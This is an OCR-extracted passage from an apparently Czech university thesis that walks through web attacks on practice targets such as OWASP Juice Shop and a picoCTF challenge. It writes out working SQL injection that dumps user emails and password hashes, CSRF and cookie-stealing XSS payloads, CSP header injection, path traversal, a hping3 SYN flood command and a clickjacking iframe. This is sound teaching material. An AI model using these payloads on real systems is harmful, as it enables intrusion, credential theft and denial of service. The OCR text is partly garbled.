Tento Utok provedeme na nezabezpecené webové aplikaci Juice Shop od OWASP, ktera je
urc¢ena pro Skoleni, penetracni testovani a Capture The Flag soutéze v oblasti bezpecnosti

[55].

Pro tento union-based SQLi piiklad uvaZzujme zranitelnou stranku e-shopu, kde ve

vyhledavacim poli mtizeme vyhledat produkt, jak je zndzornéno na obrazku nize:

= . OWASP Juice Shop

Search Results - lemon

r

Lemon Juice
(500ml)

2.99a

Obrazek 12 Vyhledavani na OWASP Juice shop
(Zdroj: [55])

Tento proces vyhleddvani mizeme sledovat i pfi monitorovani provozu sité v Burp Suite.

Konkrétné vysledek vyhledavani mizeme vidét v fadku:

http://localhost:3000 GET /rest/product/search?g=’lemon’


http://localhost:3000/
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Zde zéaroven vidime, ze zranitelnd aplikace je z bezpecnostnich divodi spusténd na
localhostu, portu 3000. Také vidime, ze vyhledavaci parametr se zobrazuje v urcitém

patternu.

Co kdyz zkusime parametr upravit tak, abychom dostali ze serveru odpovéd, ke které bézné
nemame piistup, pomoci SQL? Mohli bychom zkouset riizné kombinace vstupu (urcité ale
budeme zacinat ,,", pro ukonceni originalniho dotazu se stringem q=") a sledovat, pro kterou
bude odezva ze serveru jina (respektive alespon néjaka, jelikoz z chybového vystupu se daji
vyvodit zaveéry). Existuje ale mnohem efektivnéjsi nastroj, ktery udé€la ¢ast prace za nas, a
to ,,Intruder attack® v BurpSuite. Projde nejpopularnéjsi vstupy a ukaze, kdy vyvolad odezvu

serveru (napiiklad chybovou hlasku).

4 3. Intruder attack of http:/flocalhost:3000

Attack  Save

Q 3. Intruder attack of http:f/lecalhost:3000

Results Positions

7 Intruder attack results filter: Showing all items

Requ... -~ Payload Status code  Respons... Error  Timeout Length error except... illegal invalid  fail stack  acce
o 200 137 414
1 200 =) 414
2 200 32 anz
3 & 200 120 1676
4 200 62 10503
= — 200 119 414

[& 20— SO0 88 553 5 1
r = 500 72 675 r 1
8 "o 20; L] 66 673 7 1

Request Respanse

Obrazek 13 Ukazka SQLi1 v BurpSuite
(Zdroj: Viastni)

V tomhle ptipade vidime, ze sekvence ‘%20-- (a dalsi) vyvolala chybu 5, coz naznacuje, ze
se aplikaci vstup nelibi a mizeme s nim pracovat dal (upravit ho tak, aby aplikace vratila
citliva data). Zkusime-li tento vstup, v odpovédi dostaneme diilezity udaj o nazvu tabulky

databaze, databazi a informaci o tom, kde chyba nastala — v tomto pfipad¢, ze vstup neni

uplny.
"error": {
"message": "SQLITE ERROR: incomplete input",
"stack": "Error: SQLITE ERROR: incomplete input",
"errno": 5,
"code": "SQLITE ERROR",
"sgl": "SELECT * FROM Products WHERE ((name LIKE '%' --%' OR

description LIKE '%' --%') AND deletedAt IS NULL) ORDER BY name"



UTB ve Zliné, Fakulta aplikované informatiky 45

Skvéla zprava. Zkusime nyni vstup upravit tak, jak naznacuje ptedposledni fadek odpovédi,

a uzavrit tim SQL dotaz:

GET /rest/products/search?g=abc'))-- HTTP/1.1
V odpovédi se situace zmeénila, a dostavame status = success, ale zddna data. Znamena to
ale, ze format je spravny. Zkusime tedy ziskat informace z databdze tim, ze zménime vstup
na abc’)) UNION SELECT * FROM sqlite master--, v zakédované URL formé. Tim

ziskame 1 druhy dotaz pomoci union. Tentokrat ale v odpovédi dostdvame:

"message": "SQLITE ERROR: SELECTs to the left and right of UNION
do not have the same number of result columns"

Coz neni nepiekonatelna chyba, jelikoz ndam SQL podrobn¢ vysvétli problém, ktery spociva
v nekonzistenci poctu fadki nami vytvoreného UNION dotazu a pavodniho dotazu
vyhledavani. Staci tedy zjistit, kolik polozek ma leva strana dotazu, a dosadit stejny pocet
do pravé strany. Pro toto zjiSténi se musime na chvili vratit na zacatek a zadat spravny dotaz,
napiiklad, lemon--. Zjistime, Ze nam databaze vrati 9 polozek a nyni staci upravit union tak,
aby je obsahoval. Dostavame tedy ,,abc’)) UNION SELECT ,1°¢,°2¢,°3¢,°4¢,°5°,6°,*7¢,°8“,°9°¢
FROM sqlite_master--,,. Po zakddovani do URL podoby dostavame:

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organzer

1 = +

= e

Request Response
Pretty Raw Hex Q@ w = Pretty Raw Hex
—— TTETEG T N S R SO g

1 GET frest/products/search?c 10 Vary: Accept-Encoding
aAbc R TS 2 2% 205 5% 4ah 4 5 4T % 4% 20P 5 5% 4 4 %4 5% 4 Fh 0 4% 205 2 T S 1% 2 TR 2 %2 TS 3 11 Date: Sun, 02 Feb 2025 15:44:05 GMT
2T 2% 2T 3 P 2 TR 2 2T 3% 2 TR 2 % 2 T 355 2T 2 N 2 T B3R 2 T 20 % 2 T 3 TR 2 T 2% 2% 12 Connection: keep-alive
SN2 % 2 TR I 2 T 2 0% 4 5% S P A P s A s 205 T 3% T 156 6 P T 4% 5% 5 F %6 61% T 3% 74%65 13 Keep-Alive: timeout=5
ss72%2cki2d| HTTP/1.1 12

2 Hest: localhost: 3000 15 {

2 sec-ch-ua-platform: "Linux" "status": "success",

4 Accept-Language: en-US, en; 0.2 vdata: [

S5 Accept: application/json, text/plain, */* {

& sec-ch-ua: "Not?A_Brand";v="93" "Chromium";w="130" nign.ngn

User-Agent: Mozilla/5.0@ (Windows NT 10.0; Winé4; x64)
AppleWebkit/537. 36 (KHTML, like Geckol Chrome/130.0.6723.70
Safari/537. 36

2 sec-ch-ua-mobile: 70

9 Sec-Fetch-Site: same-origin

10 Sec-Fetch-Mode: cors

11 Sec-Fetch-Dest: empty "Updat adA
12 Referer: http://localhost: 2000/ el atadat
13 Accept-Encoding: gzip, deflate, br '

14 Cookie: language=en; cockieconsent_statussdismiss 1

15 If-None-Match: W/"38df-t2kjP/bopdkanXIELPlrzixhpSy" }

T S T, TP

QRS IIEINE o ohighlights | (2) {6} | € |[=

Obrazek 14 Ukazka SQLi v BurpSuite
(Zdroj: Vlastni)

Z obrazku vidime, ze dotaz prosel, coz je bezpochyby skvéla zprava. Co se ale stane,
zkusime-li se dotazat na strukturu databaze? Tedy na abc’)) UNION SELECT
sql,2¢,°3¢,°4¢,°5¢,6%,7°,8%,9° FROM sqlite_master--. Podle ocekdvani se nam vrati

tabulky databdze, kde nés zajima nésledujici tabulka Users:
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{"id":"CREATE TABLE 'Users ( i1id’ INTEGER PRIMARY KEY AUTOINCREMENT,
‘username’ VARCHAR(255) DEFAULT '', ‘email’ VARCHAR(255) UNIQUE,
‘password’ VARCHAR(255), ‘role® VARCHAR(255) DEFAULT 'customer',
"deluxeToken™ VARCHAR(255) DEFAULT '', ‘“lastLoginIp  VARCHAR(255)
DEFAULT '0.0.0.0", ‘profileImage’ VARCHAR (255) DEFAULT
'/assets/public/images/uploads/default.svg’, ‘totpSecret”

VARCHAR (255) DEFAULT '', ‘isActive’ TINYINT (1) DEFAULT 1, “createdAt"
DATETIME NOT NULL, ‘updatedAt’ DATETIME NOT NULL, “deletedAt”
DATETIME) ", "name":"2", "description":"3", "price":"4","deluxePrice":"5
", "image":"6","createdAt":"7", "updatedAt":"8", "deletedAt":"9"}

Vsimneme si poli, kterd nas urcité¢ budou zajimat. Email a heslo. Nic ndm nyni nebrani se
dotadzat na tato pole. Znovu tedy, a tentokrat naposledy, upravime dotaz: ')) UNION SELECT
email,password,'3','4",'5",'6",'"7','8",'9' FROM users--. Tentokrat dotaz ale smérujeme na jinou
tabulku, a podle ocekavani nam databédze vrati seznam vsech polozek z tabulky Users, kde

vypiSe email a heslo. Naptiklad tedy:

"id":"amy@juicesh.op", "name":"030£05e45e30710c3ad3c32£00de0473", "des
cription":"3","price":"4","deluxePrice":"5","image":"6", "createdAt":
"I", "updatedAt":"8", "deletedAt":"9"},

Kde amy@juicesh.op je email a 030f05e45e30710c3ad3c32f00de0473 zahashované heslo
tohoto uctu.

4.4 CSRF a SSRF

Pro CSRF utok uvazujme jednoduchou nezabezpecenou stranku, kde uzivatel mtize zanechat
komentaf, ktery se na strance hned zobrazi. Tuto stranku spustime, stejné jako u piedchozich
utokl, na localhostu, portu 8000, pomoci linuxového nastroje python3, ¢imz spustime

SErver.

Leave a Comment

Write a comment...

Post Comment

Comments

that's first post

how can i cook lasagne?

Obrazek 15 Ukazka CSRF utoku
(Zdroj: Viastni)

Utok za¢neme jednoduse tim, ze do komentait vlozime HTML kod:


mailto:amy@juicesh.op
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try <a href="http://127.0.0.1:8000/csrf.html”>cookBook</a>
Timto zplisobem dostaneme do komentait text ,,try cookBook®, kde se cookBook zda byt

obycejnym odkazem. Ve skute¢nosti piesméruje uzivatele na nasledujici kod:
<form id="csrf" action="http://127.0.0.1:8000/post.html"
method="POST">

<input type="hidden" name="text" value="seriously? i got you
again">

<input type="submit" value="submit">
</form>
<script>
window.onload =
function () {document.getElementById('csrf') .submit() ;}
</script>
Podivame se podrobnéji na funkei této ¢asti kodu. Jakmile se stranka nacte, odesle formulaf
s ID=,,csrf* na adresu http://127.0.0.1:8000/post.html (coz, jak je zmin€no vyse, je adresa

puvodni zranitelné webové aplikace). Formulai navic obsahuje input s hodnotou "seriously?

1 got you again", ktery se po odeslani hned zobrazi na strance:

Leave a Comment

Post Comment

Comments

that's first post
how can i cook lasagne?

try cookBook

seriously? i got you again

Obrazek 16 Ukazka CSRF utoku
(Zdroj: Viastni)

Znézornény piiklad vySe byl neSkodny a zanechal jen upozoriiujici komentat, opravdovy
kod by ale mohl zplisobit mnohem vétsi Skody.

(24

Nyni se zamétime na SSRF utok, kde — na rozdil od CSRF — uto¢nik manipuluje samotnou
strankou (misto uzivatele). Pro tento ptiklad pouzijeme jiz diive zminény OWASP Juice

Shop.

Jako kazdy e-shop, i Juice Shop potiebuje sledovat urcité informace, naptiklad dostupnost

zbozi nebo existenci uzivatele, ktery se pravé chce pfihlasit. Pro tyto ucely vyuziva
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backendové REST APIL V tomto pfipadé, na dotaz whoami, vyuzije HTTP request a vrati

data o uzivateli:

D) localhost:3000/re

e Copy CollapseAll Expand All

w UsSer:

Obrazek 17 Ukazka SSRF utoku
(Zdroj: vlastni)

Jedna se o zajimavé chovani aplikace, které naznacuje vaznou zranitelnost (naptiklad tim,
ze API je uzivatelam piistupné). Zkusime se podivat, co se stane, odebereme-li bearer token
z requestu (autentizace uzivatele) pomoci Burp Suite. Po chvili zjistime, Ze se opravdu jedna
o zranitelnost a server vrati data i bez tokenu, tedy bez potvrzeni, Ze dany uZivatel ma k
datlim pfistup.

Co kdyZz zménime request posilany na server a zabalime data do funkce pomoci JavaScriptu
(naptiklad callback, coz je béZna praxe pii penetracnim testovani)? Tedy:

Localhost:3000/rest/user/whoami?callback=admin
Zjistime, Ze server opravdu zabalil data do callback funkce, pomoci které je s trochou snahy

mozné donutit server spustit jakykoliv skript:

(& @ localhost

admin === "functi

Obrazek 18 Ukazka SSRF utoku

(Zdroj: viastni)

4.5 LFI utok

Pro ucely tohoto utoku znovu budeme potiebovat zranitelnou webovou aplikaci, tentokrat
http://saturn.picoctf.net: 56858, uréenou pro CTF. Tato jednoducha stranka ma nésledujici

rozhrani, které pfecte obsah zadaného souboru:



UTB ve Zliné, Fakulta aplikované informatiky 49

Web eReader

divine-comedy.txt
oliver-twist.txt

the-happy-prince.txt

l

Read

Obrazek 19 Ukazka LFI

(Zdroj: [53])
Zkusime zadat spravny, o¢ekavany vstup, naptiklad divine-comedy.txt, a v§imneme si zmén.
Jednak stranka vypise obsah souboru, ale kromé¢ toho nastane dilezitd zména v URL. Zméni
se z http://saturn.picoctf.net:56858 na  http://saturn.picoctf.net:56858/?page=divine-
comedy.php.

Tato situace nam napovidd, Zze by se mohlo jednat o LFI. Zména totiZ nenastava na celé
strance, ale jen v jeji Casti, pro rychlejsi nacteni. Tuto strategii, kdy se pro nacteni stranky
méni pouze parametry, ¢asto vyuzivaji jazyky jako JavaScript nebo PHP, ale v ptipadé
Spatného zabezpeceni, popsaného v kapitole ,,Ochranné techniky a prevence®, mize vést k

LFI Gtoku — konkrétné tehdy, pokud se parametry zméni tak, aby ziskaly data ze serveru.

Postupujeme tedy stejné¢ jako v pripadé utokli popsanych vysSe, otevieme BurpSuite pro
zachytavani provozu a zkusime zménit parametr ?page=divine-comedy.txt na
?page=flag.txt. (V nasem piipad¢ se snazime ziskat soubor flag.txt, ale v redlné aplikaci

bychom pravdépodobné hledali soubor /etc/passwd. Princip je nicméné stejny.)

Dostavame hlaseni ,,permission denied®. Stranka tedy blokuje absolutni cestu k soubortim a
musime zkusit jiny pfistup, naptiklad, pies relativni cestu. Zménime tedy parametr s tim, Ze
se posuneme o uroven vys v adresari.

?page=../flag.txt
V odpovédi nedostaneme nic uZzitecného a zkusime tedy akci zopakovat. Tuto akci
provadime, dokud se nedostaneme do hlavniho adresare (rootu) a dotaz neprojde. V naSem
pfipadé finalni feSeni je zobrazeno nize na obrazku, kde jsme usp&$né ziskali pottebny flag

po Sestém posunu v struktuie adresare.
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Web eReader

divine-comedy.txt
oliver-twist.txt

the-happy-prince.txt

[ 1011 Jag bt |
Read

Obrazek 20 Ukazka LFI

(Zdroj: Viastni)

4.6 XSS ttoky

V této kapitole rozebereme rtizné druhy XSS utoki a utoky s nimi souvisejici. Nejprve
uvazujme zranitelnou stranku e-shopu, kde muize uzivatel u kazdého zbozi zanechat

komentaf, naptiklad ve forme hodnoceni produktu:
function addReview () {
const reviews = getReview();

const reviewList = document.getElementById ("review");

reviews.forEach ((review) => {
reviewList.innerHTML += "<1i>" + review + "</li>";
}):
}

addReview () ;
V tomto jednoduchém kodu si vS§imneme dfive zminéné zranitelnosti, kde je kvili pouziti
innerHTML moZné provést jednoduchy XSS utok. Staéi tedy vlozit do review nasledujici

kéd, ktery se na strance provede:

<script> alert (document.cookie)</script>

Tento typ Gtoku vySe patii do stored XSS.

Podivame se nyni na DOM-Based XSS. Pro ukazku tohoto typu utoku znovu vyuZzijeme
zranitelnou webovou aplikaci OWASP Juice Shop, kde do vyhledavaciho pole zkusime —
stejné jako v predchozim ptipadé — vlozit kod:

<script> alert (document.cookie)</script>
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Nedostavame ale zadny vysledek, a musime to tedy zkusit jinak — pfes zménu samotného
DOM a vyuziti zabaleni do iframu. Upravime tedy nas dotaz tak, aby obsahoval iframe (ktery

se, na rozdil od skriptu, provede bez problému):

<iframe src="javascript: alert (document.cookie) ">

Dotaz tentokrat v potadku projde a podle ocekavani obdrzime alert ze serveru.

Poslednim typem utoku je reflected XSS, kde se soustiedime na zranitelny parametr v URL.
Pro ucely tohoto utoku uvazujme jednoduchou stranku rezervacniho systému, kde se

rezervace po vytvoreni zobrazi na nové strance s vlastnim ID parametrem i v URL:

. .newReservation?id=567s9b163a
Jedna se o nebezpecnou zranitelnost, kdy, zkusime-1i zménit parametr na diive pfedvedeny

skript, mizeme provést XSS a ziskat pozadovanou odpovéd’ ze serveru:

..newReservation?id=<iframe src="javascript: alert (document.cookie)">
zranitelnosti, kdy vyvojafi ¢asto zapominaji, Zze validace vstupu ma byt pfitomna nejen na

stran¢ klienta, ale i na stran¢ serveru. Dtivod k tomu zjistime po provedeni utoku.

Uvazujme tedy stranku, kterd validuje pole na strané klienta a nasledné jejich obsah
zobrazuje na strance (typicky stranka profilu uzivatele, kde se upravené informace rovnou
zobrazi). V tomto pfipad¢ znovu vyuzijeme stranku zranitelné¢ webové aplikace OWASP

Juice Shop, konkrétné stranku pro piihlaSeni a registraci uzivatele.

Set Username

Obrazek 21 Ukazka XSS
(Zdroj: Viastni)

Nejdiive zkusime klasicky XSS s vlozenim scriptu do vyhodnoceného pole, jako
v jednoduchych ukazkach vyse, ale obdrzime nemilou zpravu: ,,the source list for the content
security policy directive ,img-src‘ contains an invalid source...”. Stranka je tedy chranéna

vvvvvv

Nikoliv v8§ak nemozné.
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S trochu experimentu zjistime, Ze sanitace filtruje vstup z <script>alert(,xss‘)</script> na
lert(,xss*)</script>. Nahradime tedy vstup jinym pro obchod filtrace vstupu. Existuje mnoho

variant, my v tomto piipadé pro jednoduchost zvolime HTML tag ,,a* (odkaz):

<<a<ascript>alert ('xss')</script>

Tento vstup opravdu projde, a dostavame se o krok dal. Nyni dostavame chybové hlaseni:

Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self' 'unsafe-eval'
https://code.getmdl.io http://ajax.googleapis.com". Either the
'unsafe-inline' keyword, a hash ("sha256-
mJb91y0ixNk99Eh/27F+1eGErrU4wtg84tDXpMTyG5E="), or a nonce ('nonce-

.') is required to enable inline execution

V tomto hlaSeni dokonce rovnou vidime zpusob, jak zédkaz spusténi obejit, jelikoz problém
spociva v chybé&jicim ,,unsafe inline* v Content Security Policy. V danou chvili s tim ale
nedokaZzeme nic udé€lat, protoZze nemame, jak dostat vySe zminény parametr do CSP. Musime

se této cesty vzdat.

Zkusime ale otestovat, jak se chova pole pro nahravani profilového avataru. Interpretuje se

stejné jako pole jména? Nebo se chovd jinak a pomize nam dostat ,,unsafe inline* do CSP?

Otestujeme zcela normdlni vstup a podivame se na néj podrobn&ji pomoci BurpSuite.
Ptekvapive se cesta k souboru objevi v fadku Content Security Policy: img-src. Je tedy CSP
nastaveno tak, aby divétovalo libovolnym zdrojim profilového obrazku, a kazdy z nich se
vlozi do CSP? Zkusime mySlenku otestovat a zménit cestu k souboru na nadhodny odkaz,

napfiiklad http://google/image.png. Z nasledujiciho obrazku vidime, Ze se teorie potvrzuje:

ETag: W/"18ac-N990TwPrgzlchkzigROgOokaMLE"
Date: Fri, 87 Feb 2025 12:21:19 GMT

o

ApplefebKit /537,36 (KHTML, Like Gecko) Chrome/130.0.6723.70
Safari/537.36

xr

10 Accept: 10 Conmection: keep-slive
text/html, application/xhtml+xml, application/xml; cF0. 9, image/avif, image/ 11 Keep-Alive: timeout=5
webp, image/apng, */*; ¢=0. 8, appl ication/signed-exchange; vw=h3; 0.7 1z

11 Sec-Fetch-Site: same-origin 13
12 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: 71

14 Sec-Fetch-Dest: document

15 Referer: http: //localhost: 2000/profile

16 Accept-Encoding: gzip, deflate, br

17 Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status

Obrazek 22 Ukazka XSS

(Zdroj: vlastni)

a- -

Request Response

Pretty Raw Hex o a no= Raw Hex a no =
1 FET fprofile HTTP/1. 1 1 HTTP/1.1 304 Not Modified
2 Host: localheost: 3000 2 Access-Control-Allow-Origin: *
2 Cache-Control: max-age=0 2 X-Content-Type-Options: nosniff
4 sec-ch-ua: "Not?A_Brand";w="99" “Chromium";w="130" 4 ¥-Frame-Options: SAMEORIGIN
5 sec-ch-ua-mobile: 70 5 Feature-Policy: payment 'self'
& sec-ch-ua-platform: "Linux" G X-Recruiting: /#/jobs
7 Accept-lLanguage: en-US en; 0. 9 7 Content-Security-Policy: img-src 'self' http://google/image. png;
& Upgrade-Insecure-Requests: 1 script-src 'self' ‘'unsafe-eval' https://code. getmdl. io
S User-Agent: MozillasS. 0 (Windows NT 10.0; WinS4; xG4) http: //ajax. googleapis. com
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Jedna se o velmi zajimavé chovani aplikace a vdznou zranitelnost. Nyni ndm nic nebrani v
tom, abychom zkusili dostat dfive zminény ,,unsafe inline* do CSP a povolili tim spusténi
jakéhokoli kodu. To provedeme tak, Ze do mista, o kterém vime, Ze se zobrazi v CSP,

dostaneme:

http://google/png; script-src 'self' 'unsafe-eval' 'unsafe-inline'
Timto jsme dostali do Content Security Policy vSechny potfebné nastaveni pro spusténi

kodu. Bude tedy nyni fungovat ptivodni XSS, které predtim hlasilo chybu? Znovu zkusime:

<<a<ascript>alert ('xss')</script>
Coz skute¢né fungovalo, a utok je u konce. Server nam podle ofekavani v alertu vrati:

localhost:3000 says xss:

localhost:3000 says

X5s

Obrazek 23 Ukazka XSS
(Zdroj: viastni)

Vsimneme si, Ze v tomto Utoku byla implementovana jedna z vySe zminénych ochrannych

technik proti XSS. Kod aplikace ale obsahuje dalsi zranitelnosti, proto Slo ochranu obejit.

4.7 CORS utok

Uvazujme jednoduchou stranku (kterou vytvotime) [ptiloha P I], kde jsou uzivateli ptidéleny
session cookies (napfiklad pro ptihlaSovani do aplikace, ale v naSem zjednoduseném piipadé
jsou ziskany pomoci tlacitka ,,get session cookies). Tyto cookies by mély byt dostupné,

podle oc¢ekavani, jen pro uzivatele.

| Greate Gookie Session | [ Get Cookie Session |

localhost says

Session: newsession

Obrazek 24 Ukazka CORS zranitelnosti

(Zdroj: viastni)
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Podivame-li se na poslany dotaz na server podrobnéji pomoci BurpSuite, v§imneme si na
prvni pohled spravné kombinace: Access-Control-Allow-Credentials: true a Access-
Control-Allow-Origin: http://localhost (v praxi libovolnd webova aplikace, zde pro
bezpecnost prace s localhostem). Zde nevidime zminénou v kapitole ,,Ochranné techniky a
prevence* kombinaci credentials true a allow origin all a vSechno se zda byt v potradku. Ve

skute¢nosti ale jde o Spatn¢ nakonfigurovany CORS.

Podivame se na situaci hloub¢ji a otestujeme filtr vstupnich dat u Access-Control-Allow-
Origin. Napftiklad co se stane, pokud jako origin (stranku, ze které dotaz odesildme) uvedeme
misto http://localhost http://localhost.hackme.com? Pokud tato zména projde, jedna se o
$patnou konfiguraci CORS, jelikoz povoluje vstup z jiné stranky, nez se zda na prvni pohled.
Tento filtr totiz hleda pfitomny fetézec, aniz by hledal pfesnou shodu, ¢imz povoli i

vnorenou shodu v fetézci.

Jedna se o vaznou zranitelnost, kterd by neméla nastat.

4.8 Zaklady DoS utokii

V této kapitole se zastavime u DoS utoku. Pro prvni utok vyuzijeme virtudlni stroj od
TryHackMe [57], ktery je ureny k procviovani utokl, a pokusime se zprovoznit

nejjednodussi a zastaraly DoS utok pro pochopeni principu. Jedna se o MAC flooding.

Tento utok zahlcuje smérovac pakety s riznymi MAC adresami zdroje, v disledku ¢ehoz
vycerpava jeho kapacitu. [58] V ptipade, Ze sluzba béZi na tomto spojeni, miize vést k DoS
utoku, respektive disledkem mutze byt jen zvefejnéni pakett (a tim i celého trafiku) vSem
uzivatelim sit€. V praxi situace s DoS nejspiSe nikdy nenastane, jelikoz v dnesSni dobé
vétSina firem vyuziva virtudlni LAN smérovace, ¢imz rozd¢li sit’ na segmenty a ptipadny

utok nezahlti vSechny porty.

Podivame se ale podrobnéji, jak by utok probihal. Vyuzijeme k tomu linuxové nastroje
macof pro floodovani s nahodnou MAC adresou a Wireshark pro sledovani provozu a paket
v siti [53],[54]. Staci tedy jednoduse spustit macof na rozhrani, kam chceme ttocit (v tomto
ptipadé ethl):

macof -i ethl
Otevieme-li nyni wireshark, opravdu vidime informace o paketech, posilanych v siti a
mnoho nami poslanych ICMP requestu. Podle ocekavani ale utok nevedl k DoS, spise k

ptipravé na man-in-the-middle (MITM) a prizkumu sitg.
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Nyni se zastavime u o néco zajimavéjsiho SYN flood ttoku, ktery by mohl fungovat i1 v
praxi, na rozdil od ptedchozi ukdzky. Pro tento utok uvazujme dva pocitace s IP adresami
192.1.0.1 a 192.1.0.2 (jedna se jen o piiklad IP, ve skute¢nosti IP adresu zjistime piikazem
ifconfig).

Nejprve prozkouméame oteviené porty, na které ma smysl utocit (tedy porty, na kterych bézi
n¢jakd sluzba) pomoci linuxového nastroje nmap, ktery umoznuje skenovani, detekci
operacniho systému, verzi, skriptové skenovani a trasovani cilové IP adresy [50], [51].
Konkrétn¢ spustime nmap 192.1.0.2. Dostaneme seznam otevienych portl, jako naptiklad v
tomto piipadé:

Host is up (0.0 latency).
Not shown: 999 ¢ tcp ports (reset)
PORT STATE SERVIC

3000/tcp open ppp

Nmap done: 1 IP address (1 host up) scanned in ©.15 seconds
Obrazek 25 Ukazka SYN flood
(Zdroj: viastni)

Z obrazku vidime, Ze je otevien port 3000, kde béZi néjaka sluzba (v tomto piipadé je na
TCP portu spusten OWASP Juice Shop). Dal§i metoda, vedouci ke stejnému zjisteéni,

vyuziva ptikaz hping3 a zjisti vSechny zaviené porty (v tomto piipad¢ je ale nerelevantni).
Hping3 Ize ale pouZit i pro samotny Utok. Konkrétné provedeme:

hping3 -S 192.1.0.1 -a 192.1.0.2 -p 3000 --flood
Kde 192.1.0.1 je ip zdroje, 192.1.0.2 adresa cile a flood probiha na dfive zvoleném portu

3000. Podivame-li se nyni na zatéz pocitace cile, v§imneme si rychlého skoku nahoru.

4.9 DoS utok pomoci RCE

Zkusime se tedy podivat na uspé$né provedeny DoS tutok, ktery byl spuStén vyuzitim
vzdaleného spusténi kodu (RCE). Pro demonstraci tohoto ttoku znovu vyuzijeme webovou

aplikaci OWASP Juice Shop, zranitelnou webovou aplikaci zminénou vyse.

V tomto piipad¢ si vSimneme zasadni bezpecCnostni zranitelnosti, kterd se nachazi v
zvetejnéné API dokumentaci. Tato dokumentace je pfistupnd bez ovéfeni uzivatele, coz
znamena, Ze k ni mtize ptistoupit kdokoliv, kdo zna sprdvnou URL adresu. Staci tedy pouze
pfejit na pfislusnou stranku, kterou bez problému dohleddme prozkoumanim

JavaScriptovych soubori.
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V této dokumentaci vidime strukturu celé stranky. Konkrétné v tomto ptipadé se zamétime
na sekci orders, kde najdeme ptiklad, jak je nova objednavka vlozené a zpracovana (s jakymi

parametry):

/orders

Schemas

Order v {

cid* .
v string

uniqueltems: true
example: JS@815DE

orderLines OrderLines ~ [OrderLine v {

description: Order line in default JSON format

productId* .
v integer

example: &

uantity*
q ¥ v integer

minimum: 1
example: 500

customerReference )
v string

example: POBOOGOO1
H

OrderLinesData v orderLinesbata string

example: [{"productId”: 12, "quantity”: 10008, "customerReference”: ["P0@9OOG1.2", "SM20180105]042" ], "couponCode™: "pes[Bh.u*t"},{ productId”:
13, "quantity": 2008, "customerReference”: "P008088e3.4"}]

Order line(s) in customer specific JSON format

orderLinesData

Obrazek 26 Ukazka DoS a RCE
(Zdroj: vlastni)

Vsimneme si dokonce, ze pokud se spravné autorizujeme, API dokumentace povoluje
vytvofit nové objednavky ru¢né pomoci tlac¢itka POST, a tedy potencidlné umoziuje vlozit
Skodlivy kaod.

Také vidime, jak struktura objedndvek vypadd. Konkrétné¢ je zajimavy parametr
,orderLinesData®, ktery povoluje vlozit dlouhy string ve forméatu JSON. Tuto skute¢nost
muzeme zkusit vyuzit. Zkusime tedy nejdiive vytvorit kod, ktery by prosel pozadavky

systému:

"cid": "JSO815DE",
"orderLines": [
{
"productId": 8,
"quantity": 500,

"customerReference": "PO0O0O00OO1"™

1,
"orderLinesData":“ (function foo () {

while (true) { console.log("successfully hacked by dos"); } })();"



UTB ve Zliné, Fakulta aplikované informatiky 57

V tomto kodu jsme nechali vSechny polozky stejné jako v piedchozi objednévce, ale vyuzili
moznosti vlozit dlouhy string. Misto n¢j jsme vlozili JS kod, ve kterém jsme definovali

nekonecny cyklus. Ten néasledné zptisobi DoS piehlcenim systému.

Zkusime tento kod vlozit a spustit. V odpovédi serveru vidime zajimavé chovani — nejdiive
zpozdéni odpoveédi o dve vtefiny a nasledné:

,Message“: ,infinite loop detected - reached max iterations™
Coz je skvé€la zprava a naznacuje, ze se utok povedl (server ho ale limituje na dvé vtefiny

z bezpecnostnich divodu).

4.10 Clickjacking utok

V této kapitole rozebereme clickjacking utoky a zacneme jednodussi ukazkou pro pochopeni
principu jejich fungovani v praxi. Uvazujme tedy nejdiive jednoduchou stranku, kde uto¢nik
jiz iframe nastavil podle svych preferenci. Mlize vypadat naptiklad nasledovné:

#otn {
width: 150px;

}
#login-iframe {
position: absolute;
opacity: 0;
z-index: 10;
pointer-events: auto;

}
A pfislusny html:

<button id="btn">Login</button>
<iframe
id="login-iframe" src="http://im a hacker.com/login"></iframe>
V tomto koédu vidime, ze iframe se nachazi na stejné pozici jako tlacitko ptihlaseni, je
neviditelny a je umistén nad tla¢itkem pomoci piekryti (z-index). Stisknutim tlacitka tak

dochdazi k ptesmérovani na necekanou stranku, kterou jiz ito¢nik plné ovlada.

Nebezpeci takového Utoku spoc¢iva hlavné ve skutecnosti, ze mize zlstat dlouhou dobu
nezjistény.

Na tomto principu funguje zakladni clickjacking. Nyni se ale podivame podrobnéji na to, jak

takovy utok mizeme implementovat, a k tomu zase vyuzijeme jiz zndmy interface pro
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testovani utoku od OWASP. Konkrétné¢ se tentokrat zaméfime na pole, na které by

potencialni uzivatel mohl kliknout, a v tomto pfipad¢ zvolime ptihlasovaci stranku.

Zaroven vyuzijeme funkce BurpSuite pro UI redness attack (clickjacking), clickbandit.
Jedna se o néstroj, ktery poméha realizovat utok a zjistit, jestli je mozny tim, ze nacte celou

cilovou stranku do iframu [59].

Toho docilime tak, ze zkopirujeme script clickbanditu do schranky a nasledné ho vlozime
do ,,developer tools v prohlizeci na stranku, kterou chceme otestovat. V naSem piipadé tedy

dostavame:

:‘! CLICKBANDIT © sandbox irame? [EE0 (SN

. OWASP Juice Shop

Obrazek 27 CklickBandit BurpSuite
(Zdroj: vlastni)

Klikneme-li na tlacitko start a vybereme prvek, na kterém chceme utok provést, narazime na

neocekavané chovani:

Refused to display 'http://localhost:3000/' in a frame because it set
'X-Frame-Options' to 'sameorigin'.

Stranka je tedy zabezpecena proti clickjackingu pomoci jedné z technik, zminénych v
kapitole ,,ochranné techniky a prevence®. Konkrétné je nastavena na hodnotu sameorigin,
kterd je méné striktni neZ X-Frame-Options: DENY, ktery by ndm nedovolil clickBandit ani

nadist.

V tomto ptipad¢ se ale nejedna o velkou piekazku. Z ptedchozich utokl jiz vime, kde
hlavi¢ku najdeme. Konkrétné, vzpomeneme-li si na kapitolu ,,XSS utoky*, kde jsme pole

pro nahréani profilového avataru vyuzili pro obejiti CSP.

V tuto chvili si uvédomime zajimavé chovani CSP, a to konkrétné, ze pokud frame-ancestors

je pritomny, bude mit pfednost pied jakymkoli X-Frame-Options.



UTB ve Zliné, Fakulta aplikované informatiky 59

Staci tedy dostat do Content Security Policy:

Content-Security-Policy: frame-ancestors '*'
Kde budeme postupovat stejné¢ jako minule. Pro ucely testovani moznosti utoku je tento
